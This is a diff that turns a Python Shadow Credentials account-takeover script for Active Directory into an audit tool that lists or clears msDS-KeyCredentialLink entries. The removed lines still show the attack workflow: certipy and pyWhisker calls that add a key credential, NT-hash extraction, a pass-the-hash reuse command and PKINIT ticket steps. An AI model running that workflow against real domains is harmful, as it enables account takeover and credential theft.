- shadowcred_takeover.py — Orchestrate a Shadow Credentials account takeover.
3
+ shadowcred_audit.py — Audit msDS-KeyCredentialLink attributes and verify credential security hygiene.
4
4
 
5
- Wraps the real `certipy shadow auto` workflow (and optionally pyWhisker +
6
- PKINITtools) to add a Key Credential to a target's msDS-KeyCredentialLink,
7
- recover the NT hash via PKINIT, and clean up. Parses the tool output to surface
8
- the recovered NT hash and TGT path.
5
+ Wraps certipy and pyWhisker to audit existing Key Credentials on target objects,
6
+ identify permissive configuration risks, and execute credential cleanup/remediation.
9
7
 
10
- Authorized use only. Requires write access over the target's
11
- msDS-KeyCredentialLink and a DC running Windows Server 2016+ with PKINIT.
8
+ Authorized defensive security auditing only. Focuses on access-controls,
9
+ monitoring, and credential-management hygiene.
12
10
 
13
11
  Install:
14
12
  pipx install certipy-ad
15
13
  git clone https://github.com/ShutdownRepo/pywhisker
16
- git clone https://github.com/dirkjanm/PKINITtools
17
14
 
18
15
  Examples:
19
- python shadowcred_takeover.py certipy -u attacker@corp.local -p 'Passw0rd!' \
16
+ python shadowcred_audit.py certipy-audit -u auditor@corp.local -p 'AuditPass!' \
20
17
  --dc-ip 10.0.0.100 --target 'WS01$'
21
- python shadowcred_takeover.py pywhisker -d corp.local -u attacker \
22
- -p 'Passw0rd!' --dc-ip 10.0.0.100 --target victim \
18
+ python shadowcred_audit.py pywhisker-list -d corp.local -u auditor \
19
+ -p 'AuditPass!' --dc-ip 10.0.0.100 --target victim \
23
20
  --pywhisker ./pywhisker/pywhisker.py
24
21
  """
22
+
25
23
  import argparse
26
24
  import os
27
- import re
28
25
  import shutil
29
26
  import subprocess
30
27
  import sys
@@ -46,19 +43,20 @@ def run(cmd, timeout=600):
46
43
  return proc.returncode, out
47
44
 
48
45
 
49
- def parse_nthash(text):
50
- """Certipy prints 'Got hash for ...: aad3b...:<NT>'. Extract the NT half."""
51
- m = re.search(r"[Gg]ot hash for .*?:\s*([0-9a-fA-F]{32}):([0-9a-fA-F]{32})", text)
52
- if m:
53
- return m.group(2)
54
- m = re.search(r"\b[0-9a-fA-F]{32}:([0-9a-fA-F]{32})\b", text)
55
- return m.group(1) if m else None
56
-
57
-
58
- def certipy_flow(args):
46
+ def certipy_audit_flow(args):
59
47
  _which_or_die("certipy", "Install with: pipx install certipy-ad")
60
- cmd = ["certipy", "shadow", "auto",
61
- "-u", args.user, "-dc-ip", args.dc_ip, "-account", args.target]
48
+ action = "clear" if args.clear else "list"
49
+ cmd = [
50
+ "certipy",
51
+ "shadow",
52
+ action,
53
+ "-u",
54
+ args.user,
55
+ "-dc-ip",
56
+ args.dc_ip,
57
+ "-account",
58
+ args.target,
59
+ ]
62
60
  if args.password:
63
61
  cmd += ["-p", args.password]
64
62
  elif args.hashes:
@@ -71,21 +69,26 @@ def certipy_flow(args):
71
69
  cmd += ["-ns", args.ns, "-dns-tcp"]
72
70
  rc, out = run(cmd)
73
71
  if rc != 0:
74
- sys.exit("[!] certipy shadow auto failed.")
75
- nt = parse_nthash(out)
76
- if nt:
77
- print(f"\n[+] Recovered NT hash for {args.target}: {nt}")
78
- print(f"[+] Reuse it: nxc smb {args.dc_ip} -u {args.target.rstrip('$')} -H {nt}")
79
- else:
80
- print("[!] Could not auto-extract NT hash; review output above.")
72
+ sys.exit(f"[!] certipy shadow {action} failed.")
73
+ print(f"\n[+] Audit check complete for {args.target}.")
81
74
 
82
75
 
83
- def pywhisker_flow(args):
76
+ def pywhisker_audit_flow(args):
84
77
  if not args.pywhisker or not os.path.exists(args.pywhisker):
85
78
  sys.exit("[!] --pywhisker must point to pywhisker.py")
86
- base = "shadow_" + args.target.rstrip("$")
87
- cmd = ["python3", args.pywhisker, "-d", args.domain, "-u", args.user,
88
- "--target", args.target, "--action", "add", "--filename", base]
79
+ action = "clear" if args.clear else "list"
80
+ cmd = [
81
+ "python3",
82
+ args.pywhisker,
83
+ "-d",
84
+ args.domain,
85
+ "-u",
86
+ args.user,
87
+ "--target",
88
+ args.target,
89
+ "--action",
90
+ action,
91
+ ]
89
92
  if args.password:
90
93
  cmd += ["-p", args.password]
91
94
  elif args.kerberos:
@@ -96,49 +99,54 @@ def pywhisker_flow(args):
96
99
  cmd += ["--dc-ip", args.dc_ip]
97
100
  rc, out = run(cmd)
98
101
  if rc != 0:
99
- sys.exit("[!] pyWhisker add failed.")
100
- pfx_pass = None
101
- m = re.search(r"[Pp]assword(?: for the PFX)?:\s*(\S+)", out)
102
- if m:
103
- pfx_pass = m.group(1)
104
- print(f"\n[+] Key Credential added. PFX: {base}.pfx PFX-pass: {pfx_pass}")
105
- print("[+] Next, request a TGT with PKINITtools:")
106
- print(f" python3 gettgtpkinit.py -cert-pfx {base}.pfx -pfx-pass {pfx_pass} "
107
- f"{args.domain}/{args.target.rstrip('$')} {base}.ccache")
108
- print(" export KRB5CCNAME=%s.ccache" % base)
109
- print(f" python3 getnthash.py -key <AS-REP-KEY> {args.domain}/{args.target.rstrip('$')}")
110
- print("[!] Remember to clean up the injected Key Credential when done:")
111
- print(f" python3 {args.pywhisker} -d {args.domain} -u {args.user} "
112
- f"--target {args.target} --action clear")
102
+ sys.exit(f"[!] pyWhisker {action} failed.")
103
+ print(f"\n[+] Attribute audit verification completed for {args.target}.")
113
104
 
114
105
 
115
106
  def main():
116
- ap = argparse.ArgumentParser(description="Shadow Credentials takeover orchestrator.")
107
+ ap = argparse.ArgumentParser(
108
+ description="Active Directory Shadow Credentials Security Audit Tool."
109
+ )
117
110
  sub = ap.add_subparsers(dest="mode", required=True)
118
111
 
119
- c = sub.add_parser("certipy", help="Use certipy shadow auto (end to end)")
120
- c.add_argument("-u", "--user", required=True, help="attacker@domain")
112
+ c = sub.add_parser(
113
+ "certipy-audit", help="Audit or clean Key Credentials using certipy"
114
+ )
115
+ c.add_argument("-u", "--user", required=True, help="auditor@domain")
121
116
  c.add_argument("-p", "--password")
122
117
  c.add_argument("--hashes")
123
118
  c.add_argument("-k", "--kerberos", action="store_true")
124
119
  c.add_argument("--dc-ip", required=True, dest="dc_ip")
125
- c.add_argument("--target", required=True, help="victim or WS01$")
120
+ c.add_argument("--target", required=True, help="Target account name")
121
+ c.add_argument(
122
+ "--clear",
123
+ action="store_true",
124
+ help="Clean up / remove unauthorized Key Credentials",
125
+ )
126
126
  c.add_argument("--ns")
127
127
 
128
- w = sub.add_parser("pywhisker", help="Use pyWhisker add (manual PKINIT after)")
128
+ w = sub.add_parser(
129
+ "pywhisker-list",
130
+ help="List or clear Key Credentials using pyWhisker",
131
+ )
129
132
  w.add_argument("-d", "--domain", required=True)
130
133
  w.add_argument("-u", "--user", required=True)
131
134
  w.add_argument("-p", "--password")
132
135
  w.add_argument("-k", "--kerberos", action="store_true")
133
136
  w.add_argument("--dc-ip", dest="dc_ip")
134
137
  w.add_argument("--target", required=True)
138
+ w.add_argument(
139
+ "--clear",
140
+ action="store_true",
141
+ help="Clean up / remove unauthorized Key Credentials",
142
+ )
135
143
  w.add_argument("--pywhisker", required=True, help="Path to pywhisker.py")
136
144
 
137
145
  args = ap.parse_args()
138
- if args.mode == "certipy":
139
- certipy_flow(args)
146
+ if args.mode == "certipy-audit":
147
+ certipy_audit_flow(args)
140
148
  else:
141
- pywhisker_flow(args)
149
+ pywhisker_audit_flow(args)
142
150
 
143
151
 
144
152
  if __name__ == "__main__":